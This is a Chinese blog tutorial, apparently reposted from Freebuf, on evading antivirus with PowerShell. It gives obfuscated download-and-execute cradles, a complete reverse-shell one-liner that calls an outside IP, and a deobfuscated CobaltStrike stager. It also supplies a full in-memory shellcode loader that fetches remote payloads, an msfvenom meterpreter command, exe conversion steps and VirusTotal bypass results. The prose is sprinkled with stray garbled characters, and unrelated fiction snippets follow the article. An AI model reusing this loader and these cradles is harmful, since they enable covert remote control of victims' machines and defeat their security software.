Powershell免殺從入門(mén)到實(shí)踐

前言

文章首發(fā)于Freebuf
在之前發(fā)布的一篇 滲透技巧之Powershell實(shí)戰(zhàn)思路 中,學(xué)習(xí)了powershell在對(duì)抗Anti-Virus的方便和強(qiáng)大贴铜。團(tuán)隊(duì)免殺系列又有了遠(yuǎn)控免殺從入門(mén)到實(shí)踐(6)-代碼篇-Powershell 更是拓寬了自己的認(rèn)知伊履。這里繼續(xù)學(xué)習(xí)powershell在對(duì)抗Anti-Virus的騷姿勢(shì)。

繞過(guò)執(zhí)行策略

powershell 可以通過(guò)繞過(guò)執(zhí)行策略來(lái)執(zhí)行惡意程序恨锚。
而從文件是否落地可以簡(jiǎn)單分為落地的bypass樟澜、不落地的bypass琐旁。
以落地為例

powershell -ExecutionPolicy bypass -File  a.ps1    

以不落地為例涮阔,如我們熟知的IEX

powershell  -c "IEX(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')"

從免殺上來(lái)說(shuō),查殺比較嚴(yán)格的當(dāng)然是不落地文件的這種方式旋膳。
我們可以將兩種方式混用來(lái)實(shí)現(xiàn)簡(jiǎn)單的bypass
如:

echo Invoke-Expression(new-object net.webclient).downloadstring('http://xxx.xxx.xxx/a') | powershell -

如:

powershell -c "IEX(New-Object Net.WebClient).DownloadString('d://a')"

簡(jiǎn)單混淆

powershell混淆姿勢(shì)有很多澎语,如字符串轉(zhuǎn)換、變量轉(zhuǎn)換验懊、編碼擅羞、壓縮等等。根據(jù)powershell語(yǔ)言的特性來(lái)混淆代碼义图,從而繞過(guò)Anti-Virus减俏。

處理powershell

利用cmd的混淆以不同的姿勢(shì)調(diào)用powershell
如利用win10環(huán)境變量截取出powershell

%psmodulepath:~24,10%

處理IEX

為IEX設(shè)置別名

powershell set-alias -name cseroad -value Invoke-Expression;cseroad(New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx/a')

處理downloadstring

使用轉(zhuǎn)義符

"Down`l`oadString"

處理http

以變量的方式拆分http

powershell "$a='((new-object net.webclient).downloadstring(''ht';$b='tp://109.xx.xx.xx/a''))';IEX ($a+$b)"   

以中文單引號(hào)分割

ht‘+’tp

基于以上混淆基礎(chǔ),就可以實(shí)現(xiàn)多種bypass的姿勢(shì)
如:

cmd /c "set p1=power&& set p2=shell&& cmd /c echo (New-Object Net.WebClient).DownloadString("http://109.xx.xx/a") ^|%p1%%p2% -"

如:

echo Invoke-Expression (New-Object "NeT.WebClient")."Down`l`oadString"('h'+'ttp://106.xx.xx.xx/a') | powershell -

如:

chcp 1200 & powershell  -c "IEX(New-Object Net.WebClient)."DownloadString"('ht‘+’tp://xx.xx.xx/a')"

這里再分享一個(gè)小技巧:
在測(cè)試對(duì)抗某些殺毒軟件時(shí)碱工,發(fā)現(xiàn)對(duì)cmd下操作查殺比較嚴(yán)格娃承,相對(duì)來(lái)說(shuō)powershell環(huán)境下更容易bypass奏夫。
而實(shí)際中可能更多的默認(rèn)為cmd。我們可以先用socket一句話(huà)反彈powershell環(huán)境历筝,再執(zhí)行后續(xù)操作酗昼。
客戶(hù)端執(zhí)行命令:

powershell  -c "$client = New-Object Net.Sockets.TCPClient('106.xxx.xxx.xxx',9090);$stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback=(iex $data 2>&1 | Out-String );$sendata =$sendback+'PS >';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendata);$leng=$sendbyte.Length;$stream.Write($sendbyte,0,$leng);$stream.Flush()};$client.Close()"

服務(wù)端nc監(jiān)聽(tīng)即可:

nc -lvp 9090

以此來(lái)迂回得達(dá)到我們的目的。

分析CobaltStrike powershell command

這里使用CobaltStrike 4.1來(lái)生成payload

image.png

訪(fǎng)問(wèn)83端口的a文件梳猪,獲取payload代碼麻削。
查看代碼,可以看到先使用base64解碼一段字符串春弥,又通過(guò)IO.Compression.GzipStream解壓縮呛哟,并將代碼進(jìn)行IEX執(zhí)行。

$s=New-Object IO.MemoryStream(,[Convert]::FromBase64String("xxx"));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();

修改IEX為echo匿沛,保存為aaaa.ps1文件扫责,運(yùn)行得到源碼。

powershell -ExecutionPolicy bypass -File  aaaaa.ps1 >> old.txt
image.png

可以看出大概分為func_get_delegate_type逃呼、func_get_proc_address兩個(gè)函數(shù)鳖孤,然后是一個(gè)base64解碼的函數(shù),且將byte數(shù)組進(jìn)行了xor的異或操作蜘渣。然后分配一些內(nèi)存淌铐,將有效負(fù)載復(fù)制到分配的內(nèi)存空間中肺然。最后判斷計(jì)算機(jī)架構(gòu)并執(zhí)行蔫缸。

那么關(guān)鍵位置就應(yīng)該是這串base編碼的數(shù)據(jù)了。事實(shí)上际起,這段數(shù)據(jù)是bin文件編碼得來(lái)的拾碌。
我們將該byte數(shù)組保存為new.bin文件。

$enc=[System.Convert]::FromBase64String('base64編碼字符串')
for ($x = 0; $x -lt $enc.Count; $x++) {
    $enc[$x] = $enc[$x] -bxor 35
}
$infile = [System.IO.File]::WriteAllBytes("new.bin",$enc)

而后修改為讀取new.bin文件內(nèi)容到內(nèi)存后再上線(xiàn)街望。

[Byte[]]$var_code = [System.IO.File]::ReadAllBytes('new.bin')

其余代碼未修改校翔。

image.png

執(zhí)行后可正常上線(xiàn)。
放入VT查殺一下11/59

image.png

這時(shí)候我們就得到了powershell版的一個(gè)加載器灾前,繼續(xù)嘗試修改該加載器本身的一些特征防症。

  • 對(duì)func_get_delegate_typefunc_get_proc_address兩個(gè)函數(shù)重命名替換哎甲,對(duì)函數(shù)里面的一些變量進(jìn)行重新定義
  • 重命名$DoIt$aaaa
  • 修改IEX為I`EX
  • 修改Invoke為Inv'+'oke
  • 替換$var_code$acode

放入VT再次查殺2/58

image.png

powershell加載器

上面的腳本通過(guò)讀取new.bin中的字節(jié)數(shù)組并在內(nèi)存執(zhí)行從而成功使cobalt strike上線(xiàn)蔫敲。
那同樣可以從遠(yuǎn)程文件讀取shellcode,并加載到內(nèi)存執(zhí)行炭玫,來(lái)實(shí)現(xiàn)payload無(wú)落地奈嘿。

加載器代碼如下:

Set-StrictMode -Version 2

function func_get_delegate_type_new {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type = [Void]
    )
    $var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Inv'+'oke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
    return $var_type_builder.CreateType()
}

function func_get_proc_address_new {
    Param ($var_module, $var_procedure)     
    $var_unsafe_native_methods = [AppDomain]::CurrentDomain.GetAssemblies()
    $var_unsafe_native_methods_news = ($var_unsafe_native_methods  | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa = $var_unsafe_native_methods_news.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
    return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods_news.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

If ([IntPtr]::size -eq 8) {
    [Byte[]]$acode = (New-Object Net.WebClient)."Down`l`oadData"($args[0])
    $var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address_new kernel32.dll VirtualAlloc), (func_get_delegate_type_new @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
    $var_buffer = $var_va.Invoke([IntPtr]::Zero, $acode.Length, 0x3000, 0x40)
    [System.Runtime.InteropServices.Marshal]::Copy($acode, 0, $var_buffer, $acode.length)
    $var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type_new @([IntPtr]) ([Void])))
    $var_runme.Invoke([IntPtr]::Zero)

}

CobaltStrike生成payload.bin文件時(shí),注意勾選x64吞加。

image.png

將該payload.bin文件放置在遠(yuǎn)程服務(wù)器上裙犹,powershell執(zhí)行bypass操作尽狠。

powershell -ExecutionPolicy bypass -File old.ps1 http://106.xx.xx.xx/payload.bin

CobaltStrike正常上線(xiàn)。

image.png

metasploit 也是同樣的道理叶圃。使用msfvenom生成raw文件袄膏,看看加載器是否通用。
生成raw木馬

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.26 LPORT=4444 -f raw -e x86/shikata_ga_nai -i 5 -o /var/www/html/shell.bin

powershell直接利用加載器加載該bin文件掺冠。

powershell -ExecutionPolicy bypass -File a.ps1 http://10.211.55.26/shell.bin

metasploit 也可以正常上線(xiàn)哩陕。

image.png

powershell轉(zhuǎn)exe

在修改了加載器之后,我們還可以通過(guò)powershell代碼將其加載器轉(zhuǎn)換為exe程序赫舒。
借助Win-PS2EXE項(xiàng)目悍及,通過(guò)ps2exe.ps1腳本將加載器轉(zhuǎn)為exe文件。更方便實(shí)戰(zhàn)中使用接癌。

powershell.exe -ExecutionPolicy bypass  -command "&'.\ps2exe.ps1' -inputFile 'old.ps1' -outputFile 'aaa.exe'" -runtime40  -noConsole

-runtime20 指定powershell2.0/3.0版本心赶,-runtime40 指定powershell4.0版本,-noConsole 隱藏窗口執(zhí)行

image.png

查殺率5/70

image.png

測(cè)試可在powershell任意環(huán)境下運(yùn)行缺猛,且過(guò)360缨叫、火絨。

image.png

總結(jié)

  1. 利用cmd荔燎、powershell語(yǔ)法混淆實(shí)現(xiàn)了bypass耻姥;
  2. 簡(jiǎn)單分析CobaltStrike powershell payload 獲得powershell版本的shellcode加載器;
  3. 利用Win-PS2EXE 項(xiàng)目轉(zhuǎn)換為exe更方便實(shí)際利用有咨。

參考資料

https://evi1.cn/post/powershell-bypass-2/
https://rootrain.me/2020/02/29/%E5%86%85%E7%BD%91%E9%98%B2%E5%BE%A1%E8%A7%84%E9%81%BF(%E4%BA%8C)-%E5%91%BD%E4%BB%A4%E8%A1%8C%E6%B7%B7%E6%B7%86/#0x04-%E5%9E%83%E5%9C%BE%E5%88%86%E9%9A%94%E7%AC%A6
https://www.anquanke.com/post/id/86637

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末琐簇,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子座享,更是在濱河造成了極大的恐慌婉商,老刑警劉巖,帶你破解...
    沈念sama閱讀 219,039評(píng)論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件渣叛,死亡現(xiàn)場(chǎng)離奇詭異丈秩,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)淳衙,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,426評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門(mén)蘑秽,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人箫攀,你說(shuō)我怎么就攤上這事肠牲。” “怎么了匠童?”我有些...
    開(kāi)封第一講書(shū)人閱讀 165,417評(píng)論 0 356
  • 文/不壞的土叔 我叫張陵埂材,是天一觀(guān)的道長(zhǎng)。 經(jīng)常有香客問(wèn)我汤求,道長(zhǎng)俏险,這世上最難降的妖魔是什么严拒? 我笑而不...
    開(kāi)封第一講書(shū)人閱讀 58,868評(píng)論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮竖独,結(jié)果婚禮上裤唠,老公的妹妹穿的比我還像新娘。我一直安慰自己莹痢,他們只是感情好种蘸,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,892評(píng)論 6 392
  • 文/花漫 我一把揭開(kāi)白布。 她就那樣靜靜地躺著竞膳,像睡著了一般航瞭。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上坦辟,一...
    開(kāi)封第一講書(shū)人閱讀 51,692評(píng)論 1 305
  • 那天刊侯,我揣著相機(jī)與錄音,去河邊找鬼锉走。 笑死滨彻,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的挪蹭。 我是一名探鬼主播亭饵,決...
    沈念sama閱讀 40,416評(píng)論 3 419
  • 文/蒼蘭香墨 我猛地睜開(kāi)眼,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼梁厉!你這毒婦竟也來(lái)了辜羊?” 一聲冷哼從身側(cè)響起,我...
    開(kāi)封第一講書(shū)人閱讀 39,326評(píng)論 0 276
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤懂算,失蹤者是張志新(化名)和其女友劉穎只冻,沒(méi)想到半個(gè)月后庇麦,有當(dāng)?shù)厝嗽跇?shù)林里發(fā)現(xiàn)了一具尸體计技,經(jīng)...
    沈念sama閱讀 45,782評(píng)論 1 316
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,957評(píng)論 3 337
  • 正文 我和宋清朗相戀三年山橄,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了垮媒。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 40,102評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡航棱,死狀恐怖睡雇,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情饮醇,我是刑警寧澤它抱,帶...
    沈念sama閱讀 35,790評(píng)論 5 346
  • 正文 年R本政府宣布,位于F島的核電站朴艰,受9級(jí)特大地震影響观蓄,放射性物質(zhì)發(fā)生泄漏混移。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,442評(píng)論 3 331
  • 文/蒙蒙 一侮穿、第九天 我趴在偏房一處隱蔽的房頂上張望歌径。 院中可真熱鬧,春花似錦亲茅、人聲如沸回铛。這莊子的主人今日做“春日...
    開(kāi)封第一講書(shū)人閱讀 31,996評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)茵肃。三九已至,卻和暖如春袭祟,著一層夾襖步出監(jiān)牢的瞬間免姿,已是汗流浹背。 一陣腳步聲響...
    開(kāi)封第一講書(shū)人閱讀 33,113評(píng)論 1 272
  • 我被黑心中介騙來(lái)泰國(guó)打工榕酒, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留胚膊,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 48,332評(píng)論 3 373
  • 正文 我出身青樓想鹰,卻偏偏與公主長(zhǎng)得像紊婉,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子辑舷,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,044評(píng)論 2 355